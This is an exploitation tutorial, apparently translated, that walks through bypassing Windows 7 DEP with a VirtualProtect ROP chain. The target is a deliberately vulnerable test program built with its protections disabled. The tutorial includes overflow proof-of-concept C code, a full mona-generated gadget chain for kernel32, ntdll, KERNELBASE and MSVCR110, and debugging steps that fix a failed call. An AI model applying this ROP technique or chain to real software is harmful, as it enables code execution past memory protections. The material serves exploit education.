0x00 Preface

---

After mastering the basic principles and exploitation methods of stack overflow, the next step is to study how to bypass the multiple protections Windows systems have against stack overflow exploitation. Therefore, the testing environment has shifted from XP to Win7 (compared to XP, Win7 offers more comprehensive protection). This article will introduce the classic DEP bypass method—bypassing DEP via VirtualProtect.

0x01 Introduction

---

This article will cover the following:

  • VS2012 compilation configuration
  • Automatically obtaining ROP chains using Immunity Debugger's mona plugin
  • Analysis and debugging of ROP chains
  • Bugs and fixes when calling the VirtualProtect function

0x02 Related Concepts

---

DEP:

The root cause of overflow attacks lies in the lack of clear distinction between data and code in computers. If code is placed in the data segment, the system will execute it.

To compensate for this deficiency, Microsoft introduced support for Data Execution Prevention (DEP) starting from XP SP2.

DEP Protection Principle:

Memory pages containing data are marked as non-executable. When a program overflow successfully transfers to shellcode, the program attempts to execute instructions on the data page. With DEP, the CPU throws an exception instead of executing the instructions.

Four DEP Operating States:

  • Optin
  • Optout
  • AlwaysOn
  • AlwaysOff

DEP Bypass Principle:

If the function return address does not directly point to the data segment but to the entry address of an existing system function, since the page permissions of the system function are executable, DEP will not be triggered.

In other words, alternative instructions can be found in the code area to implement the functionality of shellcode.

However, the available alternative instructions are often limited and cannot fully implement the functionality of shellcode.

Thus, a compromise method emerged: disable DEP through alternative instructions, then transfer to execute shellcode.

Memory Page:

On x86 systems, the size of a memory page is 4KB, i.e., 0x00001000, 4096.

ROP:

Return-oriented Programming

VirtualProtect:

BOOL VirtualProtect{

LPVOID lpAddress,

DWORD dwsize,

DWORD flNewProtect,

PDWORD lpflOldProtect

}

lpAddress: Starting address of memory

dwsize: Size of memory region

flNewProtect: Memory attributes, PAGE_EXECUTE_READWRITE(0x40)

lpflOldProtect: Address to save original memory attributes

Bypassing DEP via VirtualProtect:

Find alternative instructions in memory, fill in appropriate parameters, call VirtualProtect to set shellcode's memory attributes to readable, writable, and executable, then jump to shellcode to continue execution

0x03 VS2012 Compilation Configuration

---

Testing Environment:

  • Test System: Win 7 x86
  • Compiler: VS2012
  • Build Version: Release

Project Properties:

  • GS Disabled
  • Optimization Disabled
  • SEH Disabled
  • DEP Disabled
  • ASLR Disabled
  • C++ Exceptions Disabled
  • Intrinsic Functions Disabled

Specific Configuration Method:

Configuration Properties-C/C++-All Properties

  • Security Check No(/GS-)
  • Enable C++ Exceptions No
  • Enable Intrinsic Functions No
  • Optimization Disabled(/Od)

Configuration Properties-Linker-All Properties

  • Data Execution Prevention (DEP) No(/NXCOMPAT:NO)
  • Randomized Base Address No(/DYNAMICBASE:NO)
  • Image Has Safe Exception Handlers No(/SAFESEH:NO)

0x04 Actual Test

---

Test 1:

Test Code:

char shellcode[]=
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x42\x43\x44\x45";

void test()
{
char buffer[48];
memcpy(buffer,shellcode,sizeof(shellcode));
}

int main()
{
printf("1\n");
test();
return 0;
}

Note:

strcpy truncates early when encountering 0x00 during execution. To facilitate shellcode testing, replace strcpy with memcpy, which does not truncate upon encountering 0x00.

Alt text

As shown in the figure above, the return address was successfully overwritten to 0x45444342.

Test 2:

The shellcode starting address is 0x00403020.

PUSH 1
POP ECX

The corresponding machine code is 0x0059016A.

Overwrite the return address with the shellcode starting address.

The shellcode implements the following operations:

PUSH 1
POP ECX

Fill other bits with 0x90.

C code as follows:

char shellcode[]=
"\x6A\x01\x59\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x20\x30\x40\x00";

void test()
{
char buffer[48];
memcpy(buffer,shellcode,sizeof(shellcode));
}

int main()
{
printf("1\n");
test();
return 0;
}

Alt text

As shown above, the shellcode executed successfully, and the ECX register was assigned a value of 1

Test 3:

Enable DEP, debug again, and find that the shellcode cannot execute, as shown in the figure

Alt text

Test 4:

Download and install Immunity Debugger

Download the mona plugin, the download address is as follows:

https://github.com/corelan/mona

Place mona.py under C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

Start Immunity Debugger, open test.exe

Use the mona plugin to automatically generate a ROP chain, input:

!mona rop -m *.dll -cp nonull

As shown in the figure

Alt text

mona searches for all DLLs to construct ROP chains

After executing the command, files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt are generated under C:\Program Files\Immunity Inc\Immunity Debugger

Check rop_chains.txt, which lists ROP chains that can be used to disable DEP; select the VirtualProtect() function

Alt text

As shown above, the ROP chain is successfully constructed

Note:

Different environments may not obtain complete parameters; analysis must be tailored to the specific environment

The corresponding test POC is modified as follows:

unsigned int shellcode[]=
{
0x90909090,0x90909090,0x90909090,0x90909090,
0x90909090,0x90909090,0x90909090,0x90909090,
0x90909090,0x90909090,0x90909090,0x90909090,
0x90909090,
0x77217edd, // POP EAX // RETN [kernel32.dll]
0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll]
0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll]
0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll]
0x779cdd30, // POP EBP // RETN [ntdll.dll]
0x75dac58d, // & call esp [KERNELBASE.dll]
0x693a7031, // POP EAX // RETN [MSVCR110.dll]
0xfffffdff, // Value to negate, will become 0x00000201
0x69354484, // NEG EAX // RETN [MSVCR110.dll]
0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll]
0x69329bb1, // POP EAX // RETN [MSVCR110.dll]
0x41414141, // Filler (RETN offset compensation)
0x41414141, // Filler (RETN offset compensation)
0x41414141, // Filler (RETN offset compensation)
0x41414141, // Filler (RETN offset compensation)
0xffffffc0, // Value to negate, will become 0x00000040
0x69354484, // NEG EAX // RETN [MSVCR110.dll]
0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll]
0x6935a7c0, // POP ECX // RETN [MSVCR110.dll]
0x693be00d, // &Writable location [MSVCR110.dll]
0x779a4b9a, // POP EDI // RETN [ntdll.dll]
0x69354486, // RETN (ROP NOP) [MSVCR110.dll]
0x693417cb, // POP EAX // RETN [MSVCR110.dll]
0x90909090, // nop
0x69390267, // PUSHAD // RETN [MSVCR110.dll]

0x9059016A, //PUSH 1 // POP ECX // NOP
0x90909090,
0x90909090,
0x90909090,
0x90909090
};
void test()
{
char buffer[48];
printf("3\n");
memcpy(buffer,shellcode,sizeof(shellcode));
}
int main()
{
printf("1\n");
test();
return 0;
}

0x9059016A is the machine code for PUSH 1; POP ECX; NOP;. If DEP is bypassed, this instruction will execute successfully.

Debug in OllyDbg after compilation

Step through to CALL KERNELBA.VirtualProtectEX and examine the stack

Can obtain the passed function parameters

Alt text

As shown above, unfortunately the shellcode overwrites the SEH chain

This will cause the parameters passed to the VirtualProtectEx function to be incorrect, resulting in a failed call. It is speculated that the return value of the VirtualProtectEx function call is 0

Alt text

As shown above, verifying the above judgment, the EAX register indicates the return value, which is 0, indicating that modifying the memory attributes failed

Solution approach:

We need to expand the stack space and move the SEH chain downward to ensure that the shellcode does not overwrite the SEH chain

Solution method:

Modify the source code to move the SEH chain downward by allocating space

Test 5:

Key code is as follows:

int main()
{
printf("1\n");
test();
char Buf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
return 0;
}

Compile the program and debug it again in OllyDbg

Step through to the CALL KERNELBA.VirtualProtectEX and examine the stack

As shown in the figure

Alt text

SEH chain successfully 'shifted down', located at high address, not overwritten by shellcode

Parameters passed to VirtualProtectEx function are correct at this moment

Press F8 to step through and view results

Alt text

As shown above, return value is 0, memory attribute modification still failed

LastErr shows error as ERROR_INVALID_ADDRESS (000001E7), indicating address error

Test 6:

Examine stack during normal VirtualProtect() function call, compare with Test 5 to analyze failure reason

Implementation code for normal call is as follows:

int main()
{

void *p=malloc(16);
printf("0x%08x\n",p);
DWORD pflOldProtect;
int x=VirtualProtect(p,4,0x40,&pflOldProtect);
printf("%d\n",x);
return 0;
}

Test 7:

If the starting address is modified to an inaccessible address, such as 0x40303020

Compile the program and debug it in OllyDbg

Step trace to CALL KERNELBA.VirtualProtectEX, examine the stack

Format as shown in the figure

Alt text

Press F8 to step through and view the result

As shown in the figure, the same error occurs: ERROR_INVALID_ADDRESS (000001E7)

Alt text

Hypothesis: the starting address passed to the shellcode is problematic

Continue with our testing

Test 8

Continue testing 5, single-step trace to CALL KERNELBA.VirtualProtectEX, attempt to modify data on the stack

Modify memory address 0x0012FF2c to the starting address of the current memory page, i.e., 0x0012F000

As shown in the figure

Alt text

Press F8 to single-step execute and view the result

As shown in the figure below, the value of register EAX is 1, meaning the return value is 1, successfully modified memory attributes

Alt text

Continue execution downward, press F7 at the CALL ESP position to single-step into

Alt text

As shown in the figure above, it is found that PUSH 1; POP ECX executed successfully, test successful, successfully bypassed DEP via VirtualProtect and executed shellcode in the data segment

Note:

In this case, VirtualProtectEX can only modify up to 4096 bytes of memory at a time (i.e., the length of one memory page) and cannot modify across pages. If it exceeds the boundary, the return value is 0, indicating modification failure

The C function call VirtualProtect does not have the above issue, can modify across pages, and length can exceed 4096

0x05 Summary

---

When setting up a testing environment under Win7, special attention must be paid to the compilation configuration of VS2012. Multiple protections enhance program security but also complicate environment setup.

Available alternative instructions often differ across systems, requiring continuous adaptation of strategies to construct suitable ROP chains.

Additionally, the mona plugin for Immunity Debugger can facilitate ROP chain development, but be aware of potential bugs, necessitating more testing and optimization.

If the shellcode length exceeds 4096, using VirtualProtect to disable DEP will fail, requiring alternative methods.